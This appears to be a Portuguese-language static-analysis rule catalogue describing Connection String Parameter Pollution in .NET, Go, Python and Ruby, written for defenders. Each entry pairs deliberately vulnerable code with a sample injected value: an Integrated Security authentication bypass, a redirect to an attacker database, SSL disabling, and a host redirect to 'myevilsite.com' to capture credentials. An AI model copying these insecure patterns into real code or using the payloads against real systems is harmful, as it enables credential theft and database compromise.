Reino: Input Validation and Representation

Problemas de validação e representação da entrada são causados por metacaracteres, codificações alternativas e representações numéricas. Confiar na entrada resulta em problemas de segurança. Os problemas incluem: “Buffer Overflows”, ataques de “Cross-Site Scripting”, “SQL Injection”, entre outros.

Connection String Parameter Pollution

Abstract
Concatenar uma entrada não validada em uma conexão de banco de dados pode permitir que um invasor substitua o valor de um parâmetro de solicitação. Um invasor pode ser capaz de substituir os valores dos parâmetros existentes, injetar um novo parâmetro ou explorar variáveis fora de um alcance direto.
Explanation
Ataques de Connection String Parameter Pollution (CSPP) consistem em injetar parâmetros de cadeia de conexão em outros parâmetros existentes. Essa vulnerabilidade é semelhante a outras vulnerabilidades, e é talvez mais bem conhecida que, em ambientes HTTP nos quais a poluição de parâmetros também pode ocorrer. No entanto, também pode se aplicar a outros lugares, como cadeias de conexão do banco de dados. Se um aplicativo não limpar a entrada do usuário adequadamente, um usuário malicioso poderá comprometer a lógica do aplicativo para executar ataques: de roubo de credenciais até a recuperação de todo o banco de dados. Ao enviar parâmetros adicionais para uma aplicativo, e se esses parâmetros tiverem o mesmo nome de um parâmetro existente, a conexão de banco de dados poderá reagir de uma das seguintes maneiras:

Ela poderá obter somente os dados do primeiro parâmetro
Ela poderá obter os dados do último parâmetro
Ela poderá obter os dados de todos os parâmetros e concatená-los

Isso pode depender do driver utilizado, do tipo de banco de dados ou até mesmo de como as APIs são utilizadas.

Exemplo 1: Este código usa entradas de uma solicitação HTTP para se conectar a um banco de dados:


...
string password = Request.Form["db_pass"]; //gets POST parameter 'db_pass'
SqlConnection DBconn = new SqlConnection("Data Source = myDataSource; Initial Catalog = db; User ID = myUsername; Password = " + password + ";");
...


Neste exemplo, o programador não considerou que um invasor poderia fornecer um parâmetro db_pass, como:
"xxx; Integrated Security = true", a cadeia de conexão se torna:

"Data Source = myDataSource; Initial Catalog = db; User ID = myUsername; Password = xxx; Integrated Security = true; "

Isso fará com que o aplicativo se conecte ao banco de dados usando a conta do sistema operacional sob a qual o aplicativo está em execução para ignorar a autenticação normal. Isso significaria que o atacante conseguiu se conectar ao banco de dados sem uma senha válida e realizar consultas diretamente no banco de dados.
References
[1] Chema Alonso, Manuel Fernandez, Alejandro Martin and Antonio Guzmán Connection String Parameter Pollution Attacks
[2] Eric P. Maurice A New Threat To Web Applications: Connection String Parameter Pollution (CSPP)
desc.dataflow.dotnet.connection_string_parameter_pollution
Abstract
Concatenar uma entrada não validada em uma conexão de banco de dados pode permitir que um invasor substitua o valor de um parâmetro de solicitação. Um invasor pode substituir os valores de parâmetros existentes, injetar um novo parâmetro ou explorar variáveis fora do alcance direto.
Explanation
Ataques de Connection String Parameter Pollution (CSPP) consistem em injetar parâmetros de cadeia de conexão em outros parâmetros existentes. Essa vulnerabilidade é semelhante a outras vulnerabilidades, e é talvez mais bem conhecida que, em ambientes HTTP nos quais a poluição de parâmetros também pode ocorrer. No entanto, também pode se aplicar a outros lugares, como cadeias de conexão do banco de dados. Se um aplicativo não limpar a entrada do usuário adequadamente, um usuário malicioso poderá comprometer a lógica do aplicativo para executar ataques: de roubo de credenciais até a recuperação de todo o banco de dados. Enviando parâmetros adicionais com o mesmo nome que um parâmetro existente para um aplicativo, o banco de dados pode reagir de uma das seguintes maneiras:

Pode usar apenas os dados do primeiro parâmetro
Pode usar os dados do último parâmetro
Pode usar os dados de todos os parâmetros e concatená-los juntos

Isso depende do driver usado, do tipo de banco de dados ou até mesmo de como as APIs são usadas.


Exemplo 1: Este código usa entradas de uma solicitação HTTP para se conectar a um banco de dados:


...
password := request.FormValue("db_pass")
db, err := sql.Open("mysql", "user:" + password + "@/dbname")
...


Neste exemplo, o programador não considerou que um invasor poderia fornecer um parâmetro db_pass, como:
"xxx@/attackerdb?foo=" então a cadeia de conexão se torna:

"user:xxx@/attackerdb?foo=/dbname"

Isso fará com que o aplicativo se conecte a um banco de dados controlado pelo invasor, permitindo que ele controle quais dados são retornados ao aplicativo.
References
[1] Chema Alonso, Manuel Fernandez, Alejandro Martin and Antonio Guzmán Connection String Parameter Pollution Attacks
desc.dataflow.golang.connection_string_parameter_pollution
Abstract
Concatenar uma entrada não validada em uma conexão de banco de dados pode permitir que um invasor substitua o valor de um parâmetro de solicitação. Um invasor pode ser capaz de substituir os valores dos parâmetros existentes, injetar um novo parâmetro ou explorar variáveis fora de um alcance direto.
Explanation
Ataques de Connection String Parameter Pollution (CSPP) consistem em injetar parâmetros de cadeia de conexão em outros parâmetros existentes. Essa vulnerabilidade é semelhante a outras vulnerabilidades, e é talvez mais bem conhecida que, em ambientes HTTP nos quais a poluição de parâmetros também pode ocorrer. No entanto, também pode se aplicar a outros lugares, como cadeias de conexão do banco de dados. Se um aplicativo não limpar a entrada do usuário adequadamente, um usuário malicioso poderá comprometer a lógica do aplicativo para executar ataques: de roubo de credenciais até a recuperação de todo o banco de dados. Ao enviar parâmetros adicionais para uma aplicativo, e se esses parâmetros tiverem o mesmo nome de um parâmetro existente, a conexão de banco de dados poderá reagir de uma das seguintes maneiras:

Ela poderá obter apenas os dados do primeiro parâmetro
Poderá obter os dados do último parâmetro
Poderá obter os dados de todos os parâmetros e concatená-los

Isto pode depender da unidade utilizada, do tipo de base de dados, ou mesmo de como as APIs são utilizadas.

Exemplo 1: Este código usa entradas de uma solicitação HTTP para se conectar a um banco de dados:


username = req.field('username')
password = req.field('password')
...
client = MongoClient('mongodb://%s:%s@aMongoDBInstance.com/?ssl=true' % (username, password))
...


Neste exemplo, o programador não considerou que um invasor poderia fornecer um parâmetro password, como:
"myPassword@aMongoDBInstance.com/?ssl=false&", em seguida, a string de conexão se torna (considerando um nome de usuário "scott"):

"mongodb://scott:myPassword@aMongoDBInstance.com/?ssl=false&@aMongoDBInstance.com/?ssl=true"

Isso fará com que "@aMongoDBInstance.com/?ssl=true" seja tratado como um argumento inválido adicional, ignorando "ssl=true" e conectando-se ao banco de dados sem criptografia.
References
[1] Chema Alonso, Manuel Fernandez, Alejandro Martin and Antonio Guzmán Connection String Parameter Pollution Attacks
desc.dataflow.python.connection_string_parameter_pollution
Abstract
Concatenar uma entrada não validada em uma conexão de banco de dados pode permitir a um invasor substituir o valor de um parâmetro de solicitação. Um invasor pode ser capaz de substituir os valores dos parâmetros existentes, injetar um novo parâmetro ou explorar variáveis fora de um alcance direto.
Explanation
Ataques de Connection String Parameter Pollution (CSPP) consistem em injetar parâmetros de cadeia de conexão em outros parâmetros existentes. Essa vulnerabilidade é semelhante a outras vulnerabilidades, e é talvez mais bem conhecida que, em ambientes HTTP nos quais a poluição de parâmetros também pode ocorrer. No entanto, também pode se aplicar a outros lugares, como cadeias de conexão do banco de dados. Se um aplicativo não limpar a entrada do usuário adequadamente, um usuário malicioso poderá comprometer a lógica do aplicativo para executar ataques: de roubo de credenciais até a recuperação de todo o banco de dados. Ao enviar parâmetros adicionais para uma aplicativo, e se esses parâmetros tiverem o mesmo nome de um parâmetro existente, a conexão de banco de dados poderá reagir de uma das seguintes maneiras:

Ela poderá obter apenas os dados do primeiro parâmetro
Poderá obter os dados do último parâmetro
Poderá obter os dados de todos os parâmetros e concatená-los

Isto pode depender da unidade utilizada, do tipo de base de dados, ou mesmo de como as APIs são utilizadas.

Exemplo 1: Este código usa entradas de uma solicitação HTTP para se conectar a um banco de dados:


hostname = req.params['host'] #gets POST parameter 'host'
...
conn = PG::Connection.new("connect_timeout=20 dbname=app_development user=#{user} password=#{password} host=#{hostname}")
...


Neste exemplo, o programador não considerou que um invasor poderia fornecer um parâmetro host, como:
"myevilsite.com%20port%3D4444%20sslmode%3Ddisable", então a cadeia de conexão se tornaria (supondo-se um nome de usuário "scott" e senha "5up3RS3kR3t"):

"dbname=app_development user=scott password=5up3RS3kR3t host=myevilsite.com port=4444 sslmode=disable"

Isso realizará uma pesquisa por "myevilsite.com" e de conectará ao banco de dados na porta 4444, desabilitando o SSL. Isso significa que o invasor poderia roubar as credenciais do usuário "scott" e depois usá-las para executar um ataque intermediário entre a máquina dele e o banco de dados real, ou apenas acessar o banco de dados real e realizar consultas no diretamente nele.
References
[1] Chema Alonso, Manuel Fernandez, Alejandro Martin and Antonio Guzmán Connection String Parameter Pollution Attacks
[2] Eric P. Maurice A New Threat To Web Applications: Connection String Parameter Pollution (CSPP)
desc.dataflow.ruby.connection_string_parameter_pollution